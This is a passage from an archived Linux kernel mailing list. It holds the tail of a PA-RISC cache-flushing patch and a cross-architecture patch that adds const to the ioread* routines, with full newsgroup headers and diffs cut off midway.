-static inline void invalidate_kernel_vmap_range(void *vaddr, int size)
-{
-	unsigned long start =3D (unsigned long)vaddr;
-	void *cursor =3D vaddr;
=20
-	for ( ; cursor < vaddr + size; cursor +=3D PAGE_SIZE) {
-		struct page *page =3D vmalloc_to_page(cursor);
-
-		if (test_and_clear_bit(PG_dcache_dirty, &page->flags))
-			flush_kernel_dcache_page(page);
-	}
-	flush_kernel_dcache_range_asm(start, start + size);
-}
+void flush_kernel_vmap_range(void *vaddr, int size);
+void invalidate_kernel_vmap_range(void *vaddr, int size);
=20
 #define flush_cache_vmap(start, end)		flush_cache_all()
 #define flush_cache_vunmap(start, end)		flush_cache_all()
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 977f0a4f5ecf..91e594492d19 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -633,3 +633,54 @@ flush_cache_page(struct vm_area_struct *vma, =
unsigned long vmaddr, unsigned long
 		__flush_cache_page(vma, vmaddr, PFN_PHYS(pfn));
 	}
 }
+
+/* Nominally, the caller is responsible for flushing the offset map
+   alias of the vmap area before performing I/O. This is important
+   on PA8800/PA8900 machines that only support equivalent aliases.
+   Failure to flush the offset map leads to random segmentation faults
+   in user space.  Testing has shown that we need to flush the offset
+   map as well as the vmap range. Once an area has been flushed,
+   the CPU will not speculate until there is an explicit access. */
+void flush_kernel_vmap_range(void *vaddr, int size)
+{
+	unsigned long threshold =3D parisc_cache_flush_threshold;
+	unsigned long start =3D (unsigned long)vaddr;
+	void *cursor =3D vaddr;
+
+	if (parisc_requires_coherency())
+		threshold >>=3D 1;
+	if ((unsigned long)size > threshold) {
+		flush_data_cache();
+		return;
+	}
+	if (parisc_requires_coherency()) {
+		for ( ; cursor < vaddr + size; cursor +=3D PAGE_SIZE) {
+			struct page *page =3D vmalloc_to_page(cursor);
+			flush_kernel_dcache_page(page);
+		}
+	}
+	flush_kernel_dcache_range_asm(start, start + size);
+}
+EXPORT_SYMBOL(flush_kernel_vmap_range);
+
+void invalidate_kernel_vmap_range(void *vaddr, int size)
+{
+	unsigned long threshold =3D parisc_cache_flush_threshold;
+	unsigned long start =3D (unsigned long)vaddr;
+	void *cursor =3D vaddr;
+
+	if (parisc_requires_coherency())
+		threshold >>=3D 1;
+	if ((unsigned long)size > threshold) {
+		flush_data_cache();
+		return;
+	}
+	if (parisc_requires_coherency()) {
+		for ( ; cursor < vaddr + size; cursor +=3D PAGE_SIZE) {
+			struct page *page =3D vmalloc_to_page(cursor);
+			flush_kernel_dcache_page(page);
+		}
+	}
+	flush_kernel_dcache_range_asm(start, start + size);
+}
+EXPORT_SYMBOL(invalidate_kernel_vmap_range);

--Apple-Mail-62--415602971
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-62--415602971--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: =?UTF-8?q?C=C3=A9dric=20Le=20Goater?= <clg@kaod.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH] add a const to ioread* routines to fix compile testing
Date: Mon, 13 Feb 2017 09:43:55 +0100
Lines: 1031
Approved: news@gmane.org
Message-ID: <1486975435-14182-1-git-send-email-clg@kaod.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1486975534 17480 195.159.176.226 (13 Feb 2017 08:45:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Feb 2017 08:45:34 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S . Miller" <davem@davemloft.net>,
        Arnd Bergmann <arnd@arndb.de>, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
        Marek Vasut <marek.vasut@gmail.com>,
        Brian Norris <comp
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Mon Feb 13 09:45:26 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cdCGD-00042Q-UZ
	for sgi-linux-mips@gmane.org; Mon, 13 Feb 2017 09:45:26 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:37192 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993331AbdBMIp1k2yMQ (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 13 Feb 2017 09:45:27 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 13 Feb 2017 09:45:10 +0100 (CET)
Original-Received: from 2.mo6.mail-out.ovh.net ([46.105.76.65]:60025 "EHLO
        2.mo6.mail-out.ovh.net" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23993411AbdBMIpBQXpYQ (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 13 Feb 2017 09:45:01 +0100
Original-Received: from player786.ha.ovh.net (b7.ovh.net [213.186.33.57])
        by mo6.mail-out.ovh.net (Postfix) with ESMTP id 12C5EA7DAA
        for <linux-mips@linux-mips.org>; Mon, 13 Feb 2017 09:44:57 +0100 (CET)
Original-Received: from zorba.kaod.org.com (LFbn-1-10647-27.w90-89.abo.wanadoo.fr [90.89.233.27])
        (Authenticated sender: clg@kaod.org)
        by player786.ha.ovh.net (Postfix) with ESMTPSA id BDBC380077;
        Mon, 13 Feb 2017 09:44:13 +0100 (CET)
X-Mailer: git-send-email 2.7.4
X-Ovh-Tracer-Id: 8216817521772432151
X-VR-SPAMSTATE: OK
X-VR-SPAMSCORE: -100
X-VR-SPAMCAUSE: gggruggvucftvghtrhhoucdtuddrfeelgedrledvgdektdcutefuodetggdotefrodftvfcurfhrohhfihhlvgemucfqggfjpdevjffgvefmvefgnecuuegrihhlohhuthemuceftddtnecusecvtfgvtghiphhivghnthhsucdlqddutddtmd
X-archive-position: 56785
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: clg@kaod.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:57949 gmane.linux.kernel:2409555 gmane.linux.ports.alpha:4069 gmane.linux.ports.parisc:27274 gmane.linux.ports.ppc64.devel:138222 gmane.linux.ports.sh.devel:55088 gmane.linux.ports.sparc:24552 gmane.linux.kernel.cross-arch:35018
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/57949>

On some architectures, the ioread routines are still using a non-const
argument for the address parameter. Let's change that to be consistent
with the others and fix compile testing (ARM drivers on Intel for
instance).

Signed-off-by: Cédric Le Goater <clg@kaod.org>
---

 I am not sure how we should handle these changes, so, here is a big
 patch for all architectures to let maintainers decide. I suppose we
 could merge the patch in one arch, and first see how the 0-Day bot
 reacts.

 The patch can be found on this branch :

   https://github.com/legoater/linux/tree/aspeed

 Compiled on :
   
   arm
   arm64
   avr32   
   frv
   ia64
   alpha
   m68k
   parisc32
   parisc64
   mips
   mips64
   sh32
   sparc32
   sparc64
   x86_64
   i386
   powerpc32
   powerpc64
   powerpc64le
   s390x

 arch/alpha/include/asm/core_apecs.h  |  6 ++--
 arch/alpha/include/asm/core_cia.h    |  6 ++--
 arch/alpha/include/asm/core_lca.h    |  6 ++--
 arch/alpha/include/asm/core_marvel.h |  4 +--
 arch/alpha/include/asm/core_mcpcia.h |  6 ++--
 arch/alpha/include/asm/core_t2.h     |  2 +-
 arch/alpha/include/asm/io.h          |  2 +-
 arch/alpha/include/asm/io_trivial.h  |  6 ++--
 arch/alpha/include/asm/jensen.h      |  2 +-
 arch/alpha/include/asm/machvec.h     |  6 ++--
 arch/alpha/kernel/core_marvel.c      |  2 +-
 arch/alpha/kernel/io.c               | 12 ++++----
 arch/frv/include/asm/io.h            | 12 ++++----
 arch/frv/include/asm/mb-regs.h       |  6 ++--
 arch/mips/lib/iomap.c                | 22 ++++++-------
 arch/parisc/lib/iomap.c              | 60 ++++++++++++++++++------------------
 arch/powerpc/kernel/iomap.c          | 20 ++++++------
 arch/sh/kernel/iomap.c               | 22 ++++++-------
 arch/sparc/include/asm/io_64.h       |  6 ++--
 include/asm-generic/iomap.h          | 20 ++++++------
 lib/iomap.c                          | 22 ++++++-------
 21 files changed, 125 insertions(+), 125 deletions(-)

diff --git a/arch/alpha/include/asm/core_apecs.h b/arch/alpha/include/asm/core_apecs.h
index 6785ff7e02bc..a4c88d2a66f0 100644
--- a/arch/alpha/include/asm/core_apecs.h
+++ b/arch/alpha/include/asm/core_apecs.h
@@ -383,7 +383,7 @@ struct el_apecs_procdata
 		}						\
 	} while (0)
 
-__EXTERN_INLINE unsigned int apecs_ioread8(void __iomem *xaddr)
+__EXTERN_INLINE unsigned int apecs_ioread8(const void __iomem *xaddr)
 {
 	unsigned long addr = (unsigned long) xaddr;
 	unsigned long result, base_and_type;
@@ -419,7 +419,7 @@ __EXTERN_INLINE void apecs_iowrite8(u8 b, void __iomem *xaddr)
 	*(vuip) ((addr << 5) + base_and_type) = w;
 }
 
-__EXTERN_INLINE unsigned int apecs_ioread16(void __iomem *xaddr)
+__EXTERN_INLINE unsigned int apecs_ioread16(const void __iomem *xaddr)
 {
 	unsigned long addr = (unsigned long) xaddr;
 	unsigned long result, base_and_type;
@@ -455,7 +455,7 @@ __EXTERN_INLINE void apecs_iowrite16(u16 b, void __iomem *xaddr)
 	*(vuip) ((addr << 5) + base_and_type) = w;
 }
 
-__EXTERN_INLINE unsigned int apecs_ioread32(void __iomem *xaddr)
+__EXTERN_INLINE unsigned int apecs_ioread32(const void __iomem *xaddr)
 {
 	unsigned long addr = (unsigned long) xaddr;
 	if (addr < APECS_DENSE_MEM)
diff --git a/arch/alpha/include/asm/core_cia.h b/arch/alpha/include/asm/core_cia.h
index 9e0516c0ca27..fdc029953b90 100644
--- a/arch/alpha/include/asm/core_cia.h
+++ b/arch/alpha/include/asm/core_cia.h
@@ -341,7 +341,7 @@ struct el_CIA_sysdata_mcheck {
 #define vuip	volatile unsigned int __force *
 #define vulp	volatile unsigned long __force *
 
-__EXTERN_INLINE unsigned int cia_ioread8(void __iomem *xaddr)
+__EXTERN_INLINE unsigned int cia_ioread8(const void __iomem *xaddr)
 {
 	unsigned long addr = (unsigned long) xaddr;
 	unsigned long result, base_and_type;
@@ -373,7 +373,7 @@ __EXTERN_INLINE void cia_iowrite8(u8 b, void __iomem *xaddr)
 	*(vuip) ((addr << 5) + base_and_type) = w;
 }
 
-__EXTERN_INLINE unsigned int cia_ioread16(void __iomem *xaddr)
+__EXTERN_INLINE unsigned int cia_ioread16(const void __iomem *xaddr)
 {
 	unsigned long addr = (unsigned long) xaddr;
 	unsigned long result, base_and_type;
@@ -403,7 +403,7 @@ __EXTERN_INLINE void cia_iowrite16(u16 b, void __iomem *xaddr)
 	*(vuip) ((addr << 5) + base_and_type) = w;
 }
 
-__EXTERN_INLINE unsigned int cia_ioread32(void __iomem *xaddr)
+__EXTERN_INLINE unsigned int cia_ioread32(const void __iomem *xaddr)
 {
 	unsigned long addr = (unsigned long) xaddr;
 	if (addr < CIA_DENSE_MEM)
diff --git a/arch/alpha/include/asm/core_lca.h b/arch/alpha/include/asm/core_lca.h
index 8ee6c516279c..25277e989731 100644
--- a/arch/alpha/include/asm/core_lca.h
+++ b/arch/alpha/include/asm/core_lca.h
@@ -229,7 +229,7 @@ union el_lca {
 	} while (0)
 
 
-__EXTERN_INLINE unsigned int lca_ioread8(void __iomem *xaddr)
+__EXTERN_INLINE unsigned int lca_ioread8(const void __iomem *xaddr)
 {
 	unsigned long addr = (unsigned long) xaddr;
 	unsigned long result, base_and_type;
@@ -265,7 +265,7 @@ __EXTERN_INLINE void lca_iowrite8(u8 b, void __iomem *xaddr)
 	*(vuip) ((addr << 5) + base_and_type) = w;
 }
 
-__EXTERN_INLINE unsigned int lca_ioread16(void __iomem *xaddr)
+__EXTERN_INLINE unsigned int lca_ioread16(const void __iomem *xaddr)
 {
 	unsigned long addr = (unsigned long) xaddr;
 	unsigned long result, base_and_type;
@@ -301,7 +301,7 @@ __EXTERN_INLINE void lca_iowrite16(u16 b, void __iomem *xaddr)
 	*(vuip) ((addr << 5) + base_and_type) = w;
 }
 
-__EXTERN_INLINE unsigned int lca_ioread32(void __iomem *xaddr)
+__EXTERN_INLINE unsigned int lca_ioread32(const void __iomem *xaddr)
 {
 	unsigned long addr = (unsigned long) xaddr;
 	if (addr < LCA_DENSE_MEM)
diff --git a/arch/alpha/include/asm/core_marvel.h b/arch/alpha/include/asm/core_marvel.h
index dad300fa14ce..e4163d539b9d 100644
--- a/arch/alpha/include/asm/core_marvel.h
+++ b/arch/alpha/include/asm/core_marvel.h
@@ -331,10 +331,10 @@ struct io7 {
 #define vucp	volatile unsigned char __force *
 #define vusp	volatile unsigned short __force *
 
-extern unsigned int marvel_ioread8(void __iomem *);
+extern unsigned int marvel_ioread8(const void __iomem *addr);
 extern void marvel_iowrite8(u8 b, void __iomem *);
 
-__EXTERN_INLINE unsigned int marvel_ioread16(void __iomem *addr)
+__EXTERN_INLINE unsigned int marvel_ioread16(const void __iomem *addr)
 {
 	return __kernel_ldwu(*(vusp)addr);
 }
diff --git a/arch/alpha/include/asm/core_mcpcia.h b/arch/alpha/include/asm/core_mcpcia.h
index ad44bef29fba..9f45699761f7 100644
--- a/arch/alpha/include/asm/core_mcpcia.h
+++ b/arch/alpha/include/asm/core_mcpcia.h
@@ -266,7 +266,7 @@ extern inline int __mcpcia_is_mmio(unsigned long addr)
 	return (addr & 0x80000000UL) == 0;
 }
 
-__EXTERN_INLINE unsigned int mcpcia_ioread8(void __iomem *xaddr)
+__EXTERN_INLINE unsigned int mcpcia_ioread8(const void __iomem *xaddr)
 {
 	unsigned long addr = (unsigned long)xaddr & MCPCIA_MEM_MASK;
 	unsigned long hose = (unsigned long)xaddr & ~MCPCIA_MEM_MASK;
@@ -290,7 +290,7 @@ __EXTERN_INLINE void mcpcia_iowrite8(u8 b, void __iomem *xaddr)
 	*(vuip) ((addr << 5) + hose + 0x00) = w;
 }
 
-__EXTERN_INLINE unsigned int mcpcia_ioread16(void __iomem *xaddr)
+__EXTERN_INLINE unsigned int mcpcia_ioread16(const void __iomem *xaddr)
 {
 	unsigned long addr = (unsigned long)xaddr & MCPCIA_MEM_MASK;
 	unsigned long hose = (unsigned long)xaddr & ~MCPCIA_MEM_MASK;
@@ -314,7 +314,7 @@ __EXTERN_INLINE void mcpcia_iowrite16(u16 b, void __iomem *xaddr)
 	*(vuip) ((addr << 5) + hose + 0x08) = w;
 }
 
-__EXTERN_INLINE unsigned int mcpcia_ioread32(void __iomem *xaddr)
+__EXTERN_INLINE unsigned int mcpcia_ioread32(const void __iomem *xaddr)
 {
 	unsigned long addr = (unsigned long)xaddr;
 
diff --git a/arch/alpha/include/asm/core_t2.h b/arch/alpha/include/asm/core_t2.h
index ade9d92e68b4..a7e7114b9b10 100644
--- a/arch/alpha/include/asm/core_t2.h
+++ b/arch/alpha/include/asm/core_t2.h
@@ -571,7 +571,7 @@ __EXTERN_INLINE int t2_is_mmio(const volatile void __iomem *addr)
    it doesn't make sense to merge the pio and mmio routines.  */
 
 #define IOPORT(OS, NS)							\
-__EXTERN_INLINE unsigned int t2_ioread##NS(void __iomem *xaddr)		\
+__EXTERN_INLINE unsigned int t2_ioread##NS(const void __iomem *xaddr)		\
 {									\
 	if (t2_is_mmio(xaddr))						\
 		return t2_read##OS(xaddr);				\
diff --git a/arch/alpha/include/asm/io.h b/arch/alpha/include/asm/io.h
index ff4049155c84..059be6c68a68 100644
--- a/arch/alpha/include/asm/io.h
+++ b/arch/alpha/include/asm/io.h
@@ -144,7 +144,7 @@ static inline void * __deprecated bus_to_virt(unsigned long address)
 /* In a generic kernel, we always go through the machine vector.  */
 
 #define REMAP1(TYPE, NAME, QUAL)					\
-static inline TYPE generic_##NAME(QUAL void __iomem *addr)		\
+static inline TYPE generic_##NAME(QUAL const void __iomem *addr)	\
 {									\
 	return alpha_mv.mv_##NAME(addr);				\
 }
diff --git a/arch/alpha/include/asm/io_trivial.h b/arch/alpha/include/asm/io_trivial.h
index 1c77f10b4b36..a7aa24b4b13d 100644
--- a/arch/alpha/include/asm/io_trivial.h
+++ b/arch/alpha/include/asm/io_trivial.h
@@ -6,13 +6,13 @@
 
 #if IO_CONCAT(__IO_PREFIX,trivial_io_bw)
 __EXTERN_INLINE unsigned int
-IO_CONCAT(__IO_PREFIX,ioread8)(void __iomem *a)
+IO_CONCAT(__IO_PREFIX, ioread8)(const void __iomem *a)
 {
 	return __kernel_ldbu(*(volatile u8 __force *)a);
 }
 
 __EXTERN_INLINE unsigned int
-IO_CONCAT(__IO_PREFIX,ioread16)(void __iomem *a)
+IO_CONCAT(__IO_PREFIX, ioread16)(const void __iomem *a)
 {
 	return __kernel_ldwu(*(volatile u16 __force *)a);
 }
@@ -32,7 +32,7 @@ IO_CONCAT(__IO_PREFIX,iowrite16)(u16 b, void __iomem *a)
 
 #if IO_CONCAT(__IO_PREFIX,trivial_io_lq)
 __EXTERN_INLINE unsigned int
-IO_CONCAT(__IO_PREFIX,ioread32)(void __iomem *a)
+IO_CONCAT(__IO_PREFIX, ioread32)(const void __iomem *a)
 {
 	return *(volatile u32 __force *)a;
 }
diff --git a/arch/alpha/include/asm/jensen.h b/arch/alpha/include/asm/jensen.h
index 964b06ead43b..bafede37d995 100644
--- a/arch/alpha/include/asm/jensen.h
+++ b/arch/alpha/include/asm/jensen.h
@@ -304,7 +304,7 @@ __EXTERN_INLINE int jensen_is_mmio(const volatile void __iomem *addr)
    that it doesn't make sense to merge them.  */
 
 #define IOPORT(OS, NS)							\
-__EXTERN_INLINE unsigned int jensen_ioread##NS(void __iomem *xaddr)	\
+__EXTERN_INLINE unsigned int jensen_ioread##NS(const void __iomem *xaddr) \
 {									\
 	if (jensen_is_mmio(xaddr))					\
 		return jensen_read##OS(xaddr - 0x100000000ul);		\
diff --git a/arch/alpha/include/asm/machvec.h b/arch/alpha/include/asm/machvec.h
index 75cb3641ed2f..cca4a75f6f6b 100644
--- a/arch/alpha/include/asm/machvec.h
+++ b/arch/alpha/include/asm/machvec.h
@@ -45,9 +45,9 @@ struct alpha_machine_vector
 	void (*mv_pci_tbi)(struct pci_controller *hose,
 			   dma_addr_t start, dma_addr_t end);
 
-	unsigned int (*mv_ioread8)(void __iomem *);
-	unsigned int (*mv_ioread16)(void __iomem *);
-	unsigned int (*mv_ioread32)(void __iomem *);
+	unsigned int (*mv_ioread8)(const void __iomem *);
+	unsigned int (*mv_ioread16)(const void __iomem *);
+	unsigned int (*mv_ioread32)(const void __iomem *);
 
 	void (*mv_iowrite8)(u8, void __iomem *);
 	void (*mv_iowrite16)(u16, void __iomem *);
diff --git a/arch/alpha/kernel/core_marvel.c b/arch/alpha/kernel/core_marvel.c
index d5f0580746a5..e7dd5914b3ed 100644
--- a/arch/alpha/kernel/core_marvel.c
+++ b/arch/alpha/kernel/core_marvel.c
@@ -798,7 +798,7 @@ void __iomem *marvel_ioportmap (unsigned long addr)
 }
 
 unsigned int
-marvel_ioread8(void __iomem *xaddr)
+marvel_ioread8(const void __iomem *xaddr)
 {
 	unsigned long addr = (unsigned long) xaddr;
 	if (__marvel_is_port_kbd(addr))
diff --git a/arch/alpha/kernel/io.c b/arch/alpha/kernel/io.c
index 19c5875ab398..c1c7457bf3d3 100644
--- a/arch/alpha/kernel/io.c
+++ b/arch/alpha/kernel/io.c
@@ -13,21 +13,21 @@
    "generic", which bumps through the machine vector.  */
 
 unsigned int
-ioread8(void __iomem *addr)
+ioread8(const void __iomem *addr)
 {
 	unsigned int ret = IO_CONCAT(__IO_PREFIX,ioread8)(addr);
 	mb();
 	return ret;
 }
 
-unsigned int ioread16(void __iomem *addr)
+unsigned int ioread16(const void __iomem *addr)
 {
 	unsigned int ret = IO_CONCAT(__IO_PREFIX,ioread16)(addr);
 	mb();
 	return ret;
 }
 
-unsigned int ioread32(void __iomem *addr)
+unsigned int ioread32(const void __iomem *addr)
 {
 	unsigned int ret = IO_CONCAT(__IO_PREFIX,ioread32)(addr);
 	mb();
@@ -210,7 +210,7 @@ EXPORT_SYMBOL(writeq);
 /*
  * Read COUNT 8-bit bytes from port PORT into memory starting at SRC.
  */
-void ioread8_rep(void __iomem *port, void *dst, unsigned long count)
+void ioread8_rep(const void __iomem *port, void *dst, unsigned long count)
 {
 	while ((unsigned long)dst & 0x3) {
 		if (!count)
@@ -253,7 +253,7 @@ EXPORT_SYMBOL(insb);
  * the interfaces seems to be slow: just using the inlined version
  * of the inw() breaks things.
  */
-void ioread16_rep(void __iomem *port, void *dst, unsigned long count)
+void ioread16_rep(const void __iomem *port, void *dst, unsigned long count)
 {
 	if (unlikely((unsigned long)dst & 0x3)) {
 		if (!count)
@@ -293,7 +293,7 @@ EXPORT_SYMBOL(insw);
  * but the interfaces seems to be slow: just using the inlined version
  * of the inl() breaks things.
  */
-void ioread32_rep(void __iomem *port, void *dst, unsigned long count)
+void ioread32_rep(const void __iomem *port, void *dst, unsigned long count)
 {
 	if (unlikely((unsigned long)dst & 0x3)) {
 		while (count--) {
diff --git a/arch/frv/include/asm/io.h b/arch/frv/include/asm/io.h
index 8062fc73fad0..887add348f38 100644
--- a/arch/frv/include/asm/io.h
+++ b/arch/frv/include/asm/io.h
@@ -310,12 +310,12 @@ static inline void flush_write_buffers(void)
 /*
  * do appropriate I/O accesses for token type
  */
-static inline unsigned int ioread8(void __iomem *p)
+static inline unsigned int ioread8(const void __iomem *p)
 {
 	return __builtin_read8(p);
 }
 
-static inline unsigned int ioread16(void __iomem *p)
+static inline unsigned int ioread16(const void __iomem *p)
 {
 	uint16_t ret = __builtin_read16(p);
 	if (__is_PCI_addr(p))
@@ -323,7 +323,7 @@ static inline unsigned int ioread16(void __iomem *p)
 	return ret;
 }
 
-static inline unsigned int ioread32(void __iomem *p)
+static inline unsigned int ioread32(const void __iomem *p)
 {
 	uint32_t ret = __builtin_read32(p);
 	if (__is_PCI_addr(p))
@@ -361,17 +361,17 @@ static inline void iowrite32(u32 val, void __iomem *p)
 #define iowrite16be(v, addr)	iowrite16(cpu_to_be16(v), (addr))
 #define iowrite32be(v, addr)	iowrite32(cpu_to_be32(v), (addr))
 
-static inline void ioread8_rep(void __iomem *p, void *dst, unsigned long count)
+static inline void ioread8_rep(const void __iomem *p, void *dst, unsigned long count)
 {
 	io_insb((unsigned long) p, dst, count);
 }
 
-static inline void ioread16_rep(void __iomem *p, void *dst, unsigned long count)
+static inline void ioread16_rep(const void __iomem *p, void *dst, unsigned long count)
 {
 	io_insw((unsigned long) p, dst, count);
 }
 
-static inline void ioread32_rep(void __iomem *p, void *dst, unsigned long count)
+static inline void ioread32_rep(const void __iomem *p, void *dst, unsigned long count)
 {
 	__insl_ns((unsigned long) p, dst, count);
 }
diff --git a/arch/frv/include/asm/mb-regs.h b/arch/frv/include/asm/mb-regs.h
index 219e5f926f18..926a8663c3d4 100644
--- a/arch/frv/include/asm/mb-regs.h
+++ b/arch/frv/include/asm/mb-regs.h
@@ -19,9 +19,9 @@
 #ifndef __ASSEMBLY__
 /* gcc builtins, annotated */
 
-unsigned long __builtin_read8(volatile void __iomem *);
-unsigned long __builtin_read16(volatile void __iomem *);
-unsigned long __builtin_read32(volatile void __iomem *);
+unsigned long __builtin_read8(const volatile void __iomem *);
+unsigned long __builtin_read16(const volatile void __iomem *);
+unsigned long __builtin_read32(const volatile void __iomem *);
 void __builtin_write8(volatile void __iomem *, unsigned char);
 void __builtin_write16(volatile void __iomem *, unsigned short);
 void __builtin_write32(volatile void __iomem *, unsigned long);
diff --git a/arch/mips/lib/iomap.c b/arch/mips/lib/iomap.c
index 9daa92428e23..3b342dc40eda 100644
--- a/arch/mips/lib/iomap.c
+++ b/arch/mips/lib/iomap.c
@@ -25,35 +25,35 @@
 
 #define PIO_MASK	0x0ffffUL
 
-unsigned int ioread8(void __iomem *addr)
+unsigned int ioread8(const void __iomem *addr)
 {
 	return readb(addr);
 }
 
 EXPORT_SYMBOL(ioread8);
 
-unsigned int ioread16(void __iomem *addr)
+unsigned int ioread16(const void __iomem *addr)
 {
 	return readw(addr);
 }
 
 EXPORT_SYMBOL(ioread16);
 
-unsigned int ioread16be(void __iomem *addr)
+unsigned int ioread16be(const void __iomem *addr)
 {
 	return be16_to_cpu(__raw_readw(addr));
 }
 
 EXPORT_SYMBOL(ioread16be);
 
-unsigned int ioread32(void __iomem *addr)
+unsigned int ioread32(const void __iomem *addr)
 {
 	return readl(addr);
 }
 
 EXPORT_SYMBOL(ioread32);
 
-unsigned int ioread32be(void __iomem *addr)
+unsigned int ioread32be(const void __iomem *addr)
 {
 	return be32_to_cpu(__raw_readl(addr));
 }
@@ -101,7 +101,7 @@ EXPORT_SYMBOL(iowrite32be);
  * to CPU byte order if the host bus happens to not match the
  * endianness of PCI/ISA (see mach-generic/mangle-port.h).
  */
-static inline void mmio_insb(void __iomem *addr, u8 *dst, int count)
+static inline void mmio_insb(const void __iomem *addr, u8 *dst, int count)
 {
 	while (--count >= 0) {
 		u8 data = __mem_readb(addr);
@@ -110,7 +110,7 @@ static inline void mmio_insb(void __iomem *addr, u8 *dst, int count)
 	}
 }
 
-static inline void mmio_insw(void __iomem *addr, u16 *dst, int count)
+static inline void mmio_insw(const void __iomem *addr, u16 *dst, int count)
 {
 	while (--count >= 0) {
 		u16 data = __mem_readw(addr);
@@ -119,7 +119,7 @@ static inline void mmio_insw(void __iomem *addr, u16 *dst, int count)
 	}
 }
 
-static inline void mmio_insl(void __iomem *addr, u32 *dst, int count)
+static inline void mmio_insl(const void __iomem *addr, u32 *dst, int count)
 {
 	while (--count >= 0) {
 		u32 data = __mem_readl(addr);
@@ -152,21 +152,21 @@ static inline void mmio_outsl(void __iomem *addr, const u32 *src, int count)
 	}
 }
 
-void ioread8_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread8_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	mmio_insb(addr, dst, count);
 }
 
 EXPORT_SYMBOL(ioread8_rep);
 
-void ioread16_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread16_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	mmio_insw(addr, dst, count);
 }
 
 EXPORT_SYMBOL(ioread16_rep);
 
-void ioread32_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread32_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	mmio_insl(addr, dst, count);
 }
diff --git a/arch/parisc/lib/iomap.c b/arch/parisc/lib/iomap.c
index eaffbb90aa14..5dee8c352256 100644
--- a/arch/parisc/lib/iomap.c
+++ b/arch/parisc/lib/iomap.c
@@ -42,19 +42,19 @@
 #endif
 
 struct iomap_ops {
-	unsigned int (*read8)(void __iomem *);
-	unsigned int (*read16)(void __iomem *);
-	unsigned int (*read16be)(void __iomem *);
-	unsigned int (*read32)(void __iomem *);
-	unsigned int (*read32be)(void __iomem *);
+	unsigned int (*read8)(const void __iomem *);
+	unsigned int (*read16)(const void __iomem *);
+	unsigned int (*read16be)(const void __iomem *);
+	unsigned int (*read32)(const void __iomem *);
+	unsigned int (*read32be)(const void __iomem *);
 	void (*write8)(u8, void __iomem *);
 	void (*write16)(u16, void __iomem *);
 	void (*write16be)(u16, void __iomem *);
 	void (*write32)(u32, void __iomem *);
 	void (*write32be)(u32, void __iomem *);
-	void (*read8r)(void __iomem *, void *, unsigned long);
-	void (*read16r)(void __iomem *, void *, unsigned long);
-	void (*read32r)(void __iomem *, void *, unsigned long);
+	void (*read8r)(const void __iomem *, void *, unsigned long);
+	void (*read16r)(const void __iomem *, void *, unsigned long);
